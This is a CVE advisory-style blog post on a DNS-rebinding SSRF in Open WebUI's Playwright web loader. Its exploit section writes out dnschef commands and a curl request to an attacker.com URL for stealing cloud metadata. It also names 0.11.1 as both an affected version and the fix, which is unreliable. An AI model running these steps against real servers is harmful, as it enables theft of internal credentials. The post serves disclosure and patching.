Listen to this Post
CVE-2026-87996 is a Time-of-check Time-of-use (TOCTOU) vulnerability in Open WebUI’s `SafePlaywrightURLLoader` that allows an authenticated user to bypass SSRF protections and access internal services. The vulnerability arises because the address validation and the actual connection are performed by two different resolvers in two different processes. When a user submits a URL, the Python backend resolves the hostname and checks if the resulting IP address is public. If the check passes, the request is handed to a Playwright browser, which resolves the hostname again on its own. An attacker who controls the authoritative DNS for a hostname can answer the first lookup with a public IP address and the second lookup with an internal IP address, such as `169.254.169.254` (cloud metadata) or 127.0.0.1. The browser then connects to the internal address that the check was designed to block. The connection-layer pinning that protects other fetch paths in Open WebUI cannot be applied here because the request runs inside the browser rather than through the application’s own HTTP clients. This allows the attacker to read HTTP responses from internal services and retrieve the content through web search or URL ingestion results. The vulnerability affects versions 0.9.6 through 0.11.1 and requires the non-default `WEB_LOADER_ENGINE=playwright` configuration.
DailyCVE Form:
Platform: Open WebUI
Version: 0.9.6-0.11.1
Vulnerability: DNS Rebinding SSRF
Severity: High (7.7)
date: 2026-09-09
Prediction: 2026-08-25
What Undercode Say:
Analytics:
Check if Playwright loader is enabled curl -s http://localhost:3000/api/config | jq '.WEB_LOADER_ENGINE' Example DNS rebinding test with dnschef dnschef --fakeip 1.2.3.4 --fakedomains attacker.com --interface 0.0.0.0 Second query returns internal IP (e.g., 169.254.169.254) dnschef --fakeip 169.254.169.254 --fakedomains attacker.com --interface 0.0.0.0
Vulnerable code snippet from backend/open_webui/retrieval/web/utils.py
def validate_url(url):
parsed = urlparse(url)
ip = socket.gethostbyname(parsed.hostname)
if is_private_ip(ip):
raise Exception("Private IP not allowed")
return True
Later, the request is handed to Playwright which resolves again
page.goto(url) DNS resolves again, potentially to internal IP
Exploit: (Educational Purposes!)
1. Set up a malicious DNS server that alternates answers
Use dnslib or similar to create a DNS server that returns 1.2.3.4 first, then 169.254.169.254
2. Submit a URL to Open WebUI that triggers the Playwright loader
curl -X POST http://open-webui:3000/api/v1/retrieval/process/web \
-H "Authorization: Bearer <token>" \
-d '{"url": "http://attacker.com/steal"}'
3. The browser resolves attacker.com to the internal metadata IP
4. Response body from metadata service is returned in the search result
Protection: from this CVE
- Upgrade to Open WebUI version 0.11.1 or later.
- If Playwright web loader is not required, use the default web loader engine (
WEB_LOADER_ENGINEnot set toplaywright). - Restrict network access for the browser process to prevent it from reaching internal addresses.
- Monitor for unusual DNS queries or outbound connections from the Open WebUI server.
Impact:
An authenticated user can force the server to read HTTP responses from internal-only addresses, including cloud instance metadata (e.g., AWS IMDSv1), loopback-bound admin APIs, and other internal services. The response body is returned as the document in web-search or ingestion results, potentially exposing sensitive credentials (e.g., IAM keys) and internal data. The vulnerability is a read primitive; no data modification or availability impact was demonstrated. Deployments using the default web loader are not affected.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

